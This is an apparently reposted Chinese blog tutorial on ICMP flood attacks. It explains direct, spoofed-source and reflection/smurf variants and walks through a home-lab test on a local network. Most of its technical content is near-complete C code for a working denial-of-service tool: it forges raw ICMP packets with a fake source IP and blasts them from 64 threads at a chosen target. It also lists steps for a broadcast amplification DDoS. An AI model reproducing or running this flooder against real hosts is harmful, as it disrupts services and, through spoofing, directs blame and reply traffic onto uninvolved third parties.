我的上一篇文章《linux編程之ping的實(shí)現(xiàn)》里使用icmp協(xié)議實(shí)現(xiàn)了ping的程序，icmp除了實(shí)現(xiàn)這么一個(gè)ping程序，還有哪些不為人知或者好玩的用途？這里我將介紹icmp另一個(gè)很有名的黑科技：icmp洪水攻擊。
icmp洪水攻擊屬于大名鼎鼎的dos（denial of service）攻擊的一種，一種是黑客們喜歡的攻擊手段，這里本著加深自己對(duì)icmp的理解的目的，也試著基于icmp寫(xiě)一段icmp的洪水攻擊小程序。
洪水攻擊（flood attack）指的是利用計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)向目的主機(jī)發(fā)送大量無(wú)用數(shù)據(jù)報(bào)文，使得目的主機(jī)忙于處理無(wú)用的數(shù)據(jù)報(bào)文而無(wú)法提供正常服務(wù)的網(wǎng)絡(luò)行為。
icmp洪水攻擊：顧名思義，就是對(duì)目的主機(jī)發(fā)送洪水般的ping包，使得目的主機(jī)忙于處理ping包而無(wú)能力處理其他正常請(qǐng)求，這就好像是洪水一般的ping包把目的主機(jī)給淹沒(méi)了。
要實(shí)現(xiàn)icmp的洪水攻擊，需要以下三項(xiàng)的知識(shí)儲(chǔ)備：
- dos攻擊原理
- icmp的深入理解
- 原始套接字的編程技巧
一、icmp洪水攻擊原理
icmp洪水攻擊是在ping的基礎(chǔ)上形成的，但是ping程序很少能造成目的及宕機(jī)的問(wèn)題，這是因?yàn)閜ing的發(fā)送包的速率太慢了，像我實(shí)現(xiàn)的ping程序里ping包發(fā)送速率限定在1秒1發(fā)，這個(gè)速率目的主機(jī)處理ping包還是綽綽有余的。所以要造成“洪水”的現(xiàn)象，就必須提升發(fā)包速率。這里介紹三種icmp洪水攻擊的方式：
（1）直接洪水攻擊
這樣做需要本地主機(jī)的帶寬和目的主機(jī)的帶寬之間進(jìn)行比拼，比如我的主機(jī)網(wǎng)絡(luò)帶寬是30m的，而你的主機(jī)網(wǎng)絡(luò)帶寬僅為3m，那我發(fā)起洪水攻擊淹沒(méi)你的主機(jī)成功率就很大了。這種攻擊方式要求攻擊主機(jī)處理能力和帶寬要大于被攻擊主機(jī)，否則自身被dos了。基于這種思想，我們可以使用一臺(tái)高帶寬高性能的電腦，采用多線(xiàn)程的方法一次性發(fā)送多個(gè)icmp請(qǐng)求報(bào)文，讓目的主機(jī)忙于處理大量這些報(bào)文而造成速度緩慢甚至宕機(jī)。這個(gè)方法有個(gè)大缺點(diǎn)，就是對(duì)方可以根據(jù)icmp包的ip地址而屏蔽掉攻擊源，使得攻擊不能繼續(xù)。
（2）偽ip攻擊
在直接洪水攻擊的基礎(chǔ)上，我們將發(fā)送方的ip地址偽裝成其他ip，如果是偽裝成一個(gè)隨機(jī)的ip，那就可以很好地隱藏自己的位置；如果將自己的ip偽裝成其他受害者的ip，就會(huì)造成“挑撥離間”的情形，受害主機(jī)1的icmp回復(fù)包也如洪水般發(fā)送給受害主機(jī)2，如果主機(jī)1的管理員要查是哪個(gè)混蛋發(fā)包攻擊自己，他一查icmp包的源地址，咦原來(lái)是主機(jī)2，這樣子主機(jī)2就成了戴罪羔羊了。
（3）反射攻擊
這類(lèi)攻擊的思想不同于上面兩種攻擊，反射攻擊的設(shè)計(jì)更為巧妙。其實(shí)這里的方式三的攻擊模式是前兩個(gè)模式的合并版以及升級(jí)版，方式三的攻擊策略有點(diǎn)像“借刀殺人“，反射攻擊不再直接對(duì)目標(biāo)主機(jī)，而是讓其他一群主機(jī)誤以為目標(biāo)主機(jī)在向他們發(fā)送icmp請(qǐng)求包，然后一群主機(jī)向目的主機(jī)發(fā)送icmp應(yīng)答包，造成來(lái)自四面八方的洪水淹沒(méi)目的主機(jī)的現(xiàn)象。比如我們向局域網(wǎng)的其他主機(jī)發(fā)送icmp請(qǐng)求包，然后自己的ip地址偽裝成目的主機(jī)的ip，這樣子目的主機(jī)就成了icmp回顯的焦點(diǎn)了。這種攻擊非常隱蔽，因?yàn)槭芎χ鳈C(jī)很難查出攻擊源是誰(shuí)。
二、icmp洪水攻擊程序設(shè)計(jì)
這里我想實(shí)現(xiàn)一個(gè)icmp洪水攻擊的例子，這里我想采用方式二來(lái)進(jìn)行設(shè)計(jì)。雖說(shuō)方式三的“借刀殺人”更為巧妙，其實(shí)也是由方式二的偽裝方式進(jìn)一步延伸的，實(shí)現(xiàn)起來(lái)也是大同小異。
首先給出攻擊的模型圖：
1.組icmp包
這里的組包跟編寫(xiě)ping程序時(shí)的組包沒(méi)太大差別，唯一需要注意的是，我們需要填寫(xiě)ip頭部分，因?yàn)槲覀円獋窝b源地址，做到嫁禍于人。
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void dos_icmp_pack(char* packet){ struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(icmp_packet_size); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = proto_icmp; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(fake_ip);; //偽裝源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻擊的目的主機(jī)地址 icmp_hdr->icmp_type = icmp_echo; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(icmp_echo << 8)); //注意這里，因?yàn)閿?shù)據(jù)部分為0，我們就簡(jiǎn)化了一下checksum的計(jì)算了} |
2.搭建發(fā)包線(xiàn)程
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void dos_attack(){ char* packet = (char*)malloc(icmp_packet_size); memset(packet, 0, icmp_packet_size); struct sockaddr_in to; dos_icmp_pack(packet); to.sin_family = af_inet; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制發(fā)包的全局變量 { sendto(rawsock, packet, icmp_packet_size, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //記得要釋放內(nèi)存} |
3.編寫(xiě)發(fā)包開(kāi)關(guān)
這里的開(kāi)關(guān)很簡(jiǎn)單，用信號(hào)量+全局變量即可以實(shí)現(xiàn)。當(dāng)我們按下ctrl+c時(shí)，攻擊將關(guān)閉。
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void dos_sig(){ alive = 0; printf("stop dos attack!\n");} |
4.總的架構(gòu)
我們使用了64個(gè)線(xiàn)程一起發(fā)包，當(dāng)然這個(gè)線(xiàn)程數(shù)還可以大大增加，來(lái)增加攻擊強(qiáng)度。但我們只是做做實(shí)驗(yàn)，沒(méi)必要搞那么大。
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int main(int argc, char* argv[]){ struct hostent* host = null; struct protoent* protocol = null; int i; alive = 1; pthread_t attack_thread[thread_max_num]; //開(kāi)64個(gè)線(xiàn)程同時(shí)發(fā)包 int err = 0; if(argc < 2) { printf("invalid input!\n"); return -1; } signal(sigint, dos_sig); protocol = getprotobyname(proto_name); if(protocol == null) { printf("fail to getprotobyname!\n"); return -1; } proto_icmp = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == inaddr_none) { host = gethostbyname(argv[1]); if(host == null) { printf("invalid ip or domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(af_inet, sock_raw, proto_icmp); if(rawsock < 0) { printf("fait to create socket!\n"); return -1; } setsockopt(rawsock, sol_ip, ip_hdrincl, "1", sizeof("1")); printf("icmp flood attack start\n"); for(i=0;i<thread_max_num;i++) { err = pthread_create(&(attack_thread[i]), null, (void*)dos_attack, null); if(err) { printf("fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<thread_max_num;i++) { pthread_join(attack_thread[i], null); //等待線(xiàn)程結(jié)束 } printf("icmp attack finishi!\n"); close(rawsock); return 0;} |
三、實(shí)驗(yàn)
本次實(shí)驗(yàn)本著學(xué)習(xí)的目的，想利用自己手上的設(shè)備，想進(jìn)一步理解網(wǎng)絡(luò)和協(xié)議的應(yīng)用，所以攻擊的幅度比較小，時(shí)間也就幾秒，不對(duì)任何設(shè)備造成影響。
再說(shuō)一下我們的攻擊步驟：我們使用主機(jī)172.0.5.183作為自己的攻擊主機(jī)，并將自己偽裝成主機(jī)172.0.5.182，對(duì)主機(jī)172.0.5.9發(fā)起icmp洪水攻擊。
攻擊開(kāi)始
我們觀察一下”受害者“那邊的情況。在短短5秒里，正確收到并交付上層處理的包也高達(dá)7萬(wàn)多個(gè)了。我也不敢多搞事，避免影響機(jī)器工作。
使用wireshark抓包再瞧一瞧，滿(mǎn)滿(mǎn)的icmp包啊，看來(lái)量也是很大的。icmp包的源地址顯示為172.0.5.182（我們偽裝的地址），它也把echo reply回給了172.0.5.182。主機(jī)172.0.5.182肯定會(huì)想，莫名其妙啊，怎么收到這么多echo reply包。
攻擊實(shí)驗(yàn)做完了。
現(xiàn)在更為流行的是ddos攻擊，其威力更為強(qiáng)悍，策略更為精巧，防御難度也更加高。
其實(shí)，這種ddos攻擊也是在dos的基礎(chǔ)上發(fā)起的，具體步驟如下：
1. 攻擊者向“放大網(wǎng)絡(luò)”廣播echo request報(bào)文
2. 攻擊者指定廣播報(bào)文的源ip為被攻擊主機(jī)
3. “放大網(wǎng)絡(luò)”回復(fù)echo reply給被攻擊主機(jī)
4. 形成ddos攻擊場(chǎng)景
這里的“放大網(wǎng)絡(luò)”可以理解為具有很多主機(jī)的網(wǎng)絡(luò)，這些主機(jī)的操作系統(tǒng)需要支持對(duì)目的地址為廣播地址的某種icmp請(qǐng)求數(shù)據(jù)包進(jìn)行響應(yīng)。
攻擊策略很精妙，簡(jiǎn)而言之，就是將源地址偽裝成攻擊主機(jī)的ip，然后發(fā)廣播的給所有主機(jī)，主機(jī)們收到該echo request后集體向攻擊主機(jī)回包，造成群起而攻之的情景。
以上就是本文的全部?jī)?nèi)容，希望對(duì)大家的學(xué)習(xí)有所幫助，也希望大家多多支持服務(wù)器之家。
